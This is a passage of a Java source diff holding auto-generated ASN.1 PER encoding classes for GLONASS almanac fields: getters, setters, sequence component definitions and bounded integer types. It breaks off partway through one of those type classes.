+ public Almanac_GlonassAlmanacSet.gloAlmOmegaAType getGloAlmOmegaA() {
+ return gloAlmOmegaA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_GlonassAlmanacSet.gloAlmOmegaAType
+ */
+ public void setGloAlmOmegaA(Asn1Object value) {
+ this.gloAlmOmegaA_ = (Almanac_GlonassAlmanacSet.gloAlmOmegaAType) value;
+ }
+ public Almanac_GlonassAlmanacSet.gloAlmOmegaAType setGloAlmOmegaAToNewInstance() {
+ gloAlmOmegaA_ = new Almanac_GlonassAlmanacSet.gloAlmOmegaAType();
+ return gloAlmOmegaA_;
+ }
+
+ private Almanac_GlonassAlmanacSet.gloAlmTauAType gloAlmTauA_;
+ public Almanac_GlonassAlmanacSet.gloAlmTauAType getGloAlmTauA() {
+ return gloAlmTauA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_GlonassAlmanacSet.gloAlmTauAType
+ */
+ public void setGloAlmTauA(Asn1Object value) {
+ this.gloAlmTauA_ = (Almanac_GlonassAlmanacSet.gloAlmTauAType) value;
+ }
+ public Almanac_GlonassAlmanacSet.gloAlmTauAType setGloAlmTauAToNewInstance() {
+ gloAlmTauA_ = new Almanac_GlonassAlmanacSet.gloAlmTauAType();
+ return gloAlmTauA_;
+ }
+
+ private Almanac_GlonassAlmanacSet.gloAlmCAType gloAlmCA_;
+ public Almanac_GlonassAlmanacSet.gloAlmCAType getGloAlmCA() {
+ return gloAlmCA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_GlonassAlmanacSet.gloAlmCAType
+ */
+ public void setGloAlmCA(Asn1Object value) {
+ this.gloAlmCA_ = (Almanac_GlonassAlmanacSet.gloAlmCAType) value;
+ }
+ public Almanac_GlonassAlmanacSet.gloAlmCAType setGloAlmCAToNewInstance() {
+ gloAlmCA_ = new Almanac_GlonassAlmanacSet.gloAlmCAType();
+ return gloAlmCA_;
+ }
+
+ private Almanac_GlonassAlmanacSet.gloAlmMAType gloAlmMA_;
+ public Almanac_GlonassAlmanacSet.gloAlmMAType getGloAlmMA() {
+ return gloAlmMA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac_GlonassAlmanacSet.gloAlmMAType
+ */
+ public void setGloAlmMA(Asn1Object value) {
+ this.gloAlmMA_ = (Almanac_GlonassAlmanacSet.gloAlmMAType) value;
+ }
+ public Almanac_GlonassAlmanacSet.gloAlmMAType setGloAlmMAToNewInstance() {
+ gloAlmMA_ = new Almanac_GlonassAlmanacSet.gloAlmMAType();
+ return gloAlmMA_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloAlmNA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloAlmNA();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloAlmNAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_GlonassAlmanacSet.gloAlmNAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloAlmNA : "
+ + getGloAlmNA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloAlmnA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloAlmnA();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloAlmnAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_GlonassAlmanacSet.gloAlmnAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloAlmnA : "
+ + getGloAlmnA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloAlmHA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloAlmHA();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloAlmHAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_GlonassAlmanacSet.gloAlmHAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloAlmHA : "
+ + getGloAlmHA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloAlmLambdaA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloAlmLambdaA();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloAlmLambdaAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_GlonassAlmanacSet.gloAlmLambdaAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloAlmLambdaA : "
+ + getGloAlmLambdaA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloAlmtlambdaA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloAlmtlambdaA();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloAlmtlambdaAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_GlonassAlmanacSet.gloAlmtlambdaAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloAlmtlambdaA : "
+ + getGloAlmtlambdaA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloAlmDeltaIa() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloAlmDeltaIa();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloAlmDeltaIaToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_GlonassAlmanacSet.gloAlmDeltaIaType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloAlmDeltaIa : "
+ + getGloAlmDeltaIa().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloAlmDeltaTA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloAlmDeltaTA();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloAlmDeltaTAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_GlonassAlmanacSet.gloAlmDeltaTAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloAlmDeltaTA : "
+ + getGloAlmDeltaTA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloAlmDeltaTdotA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloAlmDeltaTdotA();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloAlmDeltaTdotAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_GlonassAlmanacSet.gloAlmDeltaTdotAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloAlmDeltaTdotA : "
+ + getGloAlmDeltaTdotA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloAlmEpsilonA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloAlmEpsilonA();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloAlmEpsilonAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_GlonassAlmanacSet.gloAlmEpsilonAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloAlmEpsilonA : "
+ + getGloAlmEpsilonA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 9);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloAlmOmegaA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloAlmOmegaA();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloAlmOmegaAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_GlonassAlmanacSet.gloAlmOmegaAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloAlmOmegaA : "
+ + getGloAlmOmegaA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 10);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloAlmTauA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloAlmTauA();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloAlmTauAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_GlonassAlmanacSet.gloAlmTauAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloAlmTauA : "
+ + getGloAlmTauA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 11);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloAlmCA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloAlmCA();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloAlmCAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_GlonassAlmanacSet.gloAlmCAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloAlmCA : "
+ + getGloAlmCA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 12);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloAlmMA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloAlmMA();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloAlmMAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_GlonassAlmanacSet.gloAlmMAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloAlmMA : "
+ + getGloAlmMA().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloAlmNAType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gloAlmNAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloAlmNAType() {
+ super();
+ setValueRange("1", "1461");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloAlmNAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloAlmNAType != null) {
+ return ImmutableList.of(TAG_gloAlmNAType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloAlmNAType from encoded stream.
+ */
+ public static gloAlmNAType fromPerUnaligned(byte[] encodedBytes) {
+ gloAlmNAType result = new gloAlmNAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloAlmNAType from encoded stream.
+ */
+ public static gloAlmNAType fromPerAligned(byte[] encodedBytes) {
+ gloAlmNAType result = new gloAlmNAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloAlmNAType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloAlmnAType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gloAlmnAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloAlmnAType() {
+ super();
+ setValueRange("1", "24");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloAlmnAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloAlmnAType != null) {
+ return ImmutableList.of(TAG_gloAlmnAType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloAlmnAType from encoded stream.
+ */
+ public static gloAlmnAType fromPerUnaligned(byte[] encodedBytes) {
+ gloAlmnAType result = new gloAlmnAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloAlmnAType from encoded stream.
+ */
+ public static gloAlmnAType fromPerAligned(byte[] encodedBytes) {
+ gloAlmnAType result = new gloAlmnAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloAlmnAType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloAlmHAType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gloAlmHAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloAlmHAType() {
+ super();
+ setValueRange("0", "31");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloAlmHAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloAlmHAType != null) {
+ return ImmutableList.of(TAG_gloAlmHAType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloAlmHAType from encoded stream.
+ */
+ public static gloAlmHAType fromPerUnaligned(byte[] encodedBytes) {
+ gloAlmHAType result = new gloAlmHAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloAlmHAType from encoded stream.
+ */
+ public static gloAlmHAType fromPerAligned(byte[] encodedBytes) {
+ gloAlmHAType result = new gloAlmHAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloAlmHAType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloAlmLambdaAType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gloAlmLambdaAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloAlmLambdaAType() {
+ super();
+ setValueRange("-1048576", "1048575");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloAlmLambdaAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloAlmLambdaAType != null) {
+ return ImmutableList.of(TAG_gloAlmLambdaAType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloAlmLambdaAType from encoded stream.
+ */
+ public static gloAlmLambdaAType fromPerUnaligned(byte[] encodedBytes) {
+ gloAlmLambdaAType result = new gloAlmLambdaAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloAlmLambdaAType from encoded stream.
+ */
+ public static gloAlmLambdaAType fromPerAligned(byte[] encodedBytes) {
+ gloAlmLambdaAType result = new gloAlmLambdaAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloAlmLambdaAType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloAlmtlambdaAType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gloAlmtlambdaAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloAlmtlambdaAType() {
+ super();
+ setValueRange("0", "2097151");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloAlmtlambdaAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloAlmtlambdaAType != null) {
+ return ImmutableList.of(TAG_gloAlmtlambdaAType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloAlmtlambdaAType from encoded stream.
+ */
+ public static gloAlmtlambdaAType fromPerUnaligned(byte[] encodedBytes) {
+ gloAlmtlambdaAType result = new gloAlmtlambdaAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloAlmtlambdaAType from encoded stream.
+ */
+ public static gloAlmtlambdaAType fromPerAligned(byte[] encodedBytes) {
+ gloAlmtlambdaAType result = new gloAlmtlambdaAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloAlmtlambdaAType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloAlmDeltaIaType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gloAlmDeltaIaType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloAlmDeltaIaType() {
+ super();
+ setValueRange("-131072", "131071");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloAlmDeltaIaType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloAlmDeltaIaType != null) {
+ return ImmutableList.of(TAG_gloAlmDeltaIaType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloAlmDeltaIaType from encoded stream.
+ */
+ public static gloAlmDeltaIaType fromPerUnaligned(byte[] encodedBytes) {
+ gloAlmDeltaIaType result = new gloAlmDeltaIaType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloAlmDeltaIaType from encoded stream.
+ */
+ public static gloAlmDeltaIaType fromPerAligned(byte[] encodedBytes) {
+ gloAlmDeltaIaType result = new gloAlmDeltaIaType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloAlmDeltaIaType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloAlmDeltaTAType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gloAlmDeltaTAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloAlmDeltaTAType() {
+ super();
+ setValueRange("-2097152", "2097151");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloAlmDeltaTAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloAlmDeltaTAType != null) {
+ return ImmutableList.of(TAG_gloAlmDeltaTAType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloAlmDeltaTAType from encoded stream.
+ */
+ public static gloAlmDeltaTAType fromPerUnaligned(byte[] encodedBytes) {
+ gloAlmDeltaTAType result = new gloAlmDeltaTAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloAlmDeltaTAType from encoded stream.
+ */
+ public static gloAlmDeltaTAType fromPerAligned(byte[] encodedBytes) {
+ gloAlmDeltaTAType result = new gloAlmDeltaTAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloAlmDeltaTAType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloAlmDeltaTdotAType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gloAlmDeltaTdotAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloAlmDeltaTdotAType() {
+ super();
+ setValueRange("-64", "63");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloAlmDeltaTdotAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloAlmDeltaTdotAType != null) {
+ return ImmutableList.of(TAG_gloAlmDeltaTdotAType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloAlmDeltaTdotAType from encoded stream.
+ */
+ public static gloAlmDeltaTdotAType fromPerUnaligned(byte[] encodedBytes) {
+ gloAlmDeltaTdotAType result = new gloAlmDeltaTdotAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloAlmDeltaTdotAType from encoded stream.
+ */
+ public static gloAlmDeltaTdotAType fromPerAligned(byte[] encodedBytes) {
